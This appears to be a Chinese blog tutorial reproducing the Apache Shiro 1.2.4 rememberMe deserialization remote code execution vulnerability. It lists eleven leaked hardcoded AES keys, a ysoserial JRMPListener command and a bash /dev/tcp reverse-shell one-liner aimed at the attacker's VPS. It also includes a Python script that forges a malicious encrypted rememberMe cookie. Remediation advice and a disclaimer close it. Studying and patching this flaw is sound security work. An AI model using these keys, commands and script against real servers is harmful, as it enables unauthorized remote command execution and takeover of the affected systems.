Apache Shiro 1.2.4反序列化漏洞复现

目录

  • 漏洞背景
  • 漏洞描述
  • 影响版本
  • 漏洞复现
  • 修复建议
  • 参考链接

漏洞背景

漏洞描述

shiro默认使用了CookieRememberMeManager, 其处理cookie的流程是: 得到rememberMe的cookie值进行Base64解码,然后AES解密,再反序列化;然而AES的密钥是硬编码的, 就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

影响版本

Apache Shiro <= 1.2.4
实际上漏洞与shiro版本无关, 无论是否升级shiro到1.2.5及以上, 如果shiro的rememberMe功能的AES密钥被泄露, 就会导致反序列化漏洞。
部分密钥

kPH+bIxk5D2deZiIxcaaaA==
wGiHplamyXlVB11UXWol8g==
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
fCq+/xW488hMTCD+cmJ3aQ==
3AvVhmFLUs0KTA3Kprsdag==
1QWLxg+NYmxraMoxAXu/Iw==
ZUdsaGJuSmxibVI2ZHc9PQ==
Z3VucwAAAAAAAAAAAAAAAA==
U3ByaW5nQmxhZGUAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==

漏洞复现

抓包重放后,如果显示rememberMe=deleteMe,说明有可利用性
Apache Shiro 1.2.4反序列化漏洞复现_第1张图片
接下来需要再公网vps上安装好反序列化工具ysoserial

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 端口 CommonsCollections5 "要执行的命令"

这里我们要反弹shell

bash -i >& /dev/tcp/vps的ip/vps监听反弹的端口 0>&1

丢到http://www.jackson-t.ca/runtime-exec-payloads.html编码一下
效果如图,记得换掉红框里的ip端口
Apache Shiro 1.2.4反序列化漏洞复现_第2张图片
然后到vps上执行
在这里插入图片描述
此时需要用对应的key去生成remembeME,paylaod如下

# coding:utf-8
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):    
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)    
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()  
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") #这里替换密钥
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)    
    file_body = pad(popen.stdout.read())    
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))    
    return base64_ciphertext
    
if __name__ == '__main__':   
    payload = encode_rememberme(sys.argv[1])  
    print "rememberMe={0}".format(payload.decode())

然后cmd命令执行python poc.py vps的ip 监听端口 生成rememberMe
大概长成这个样子
在这里插入图片描述
把rememberMe的值复制到数据包的cookie下就可以了
Apache Shiro 1.2.4反序列化漏洞复现_第3张图片
vps查看可以成功反弹shell
Apache Shiro 1.2.4反序列化漏洞复现_第4张图片
复现到此就成功了

修复建议

升级shiro到1.2.5及以上
注意如果在配置里配置了密钥, 那么请一定不要使用网上的密钥, 一定不要!利用官方提供的方法去生成密钥,千万别为了偷懒,让不法分子有可利用的机会。

参考链接

https://mp.weixin.qq.com/s/dJnWPP5Bpb2H6Y2kU1x4Lg

本文中提到的漏洞利用仅供研究学习使用,请遵守《网络安全法》等相关法律法规。

你可能感兴趣的:(web安全,Apache,Shiro,web安全,反序列化,漏洞复现)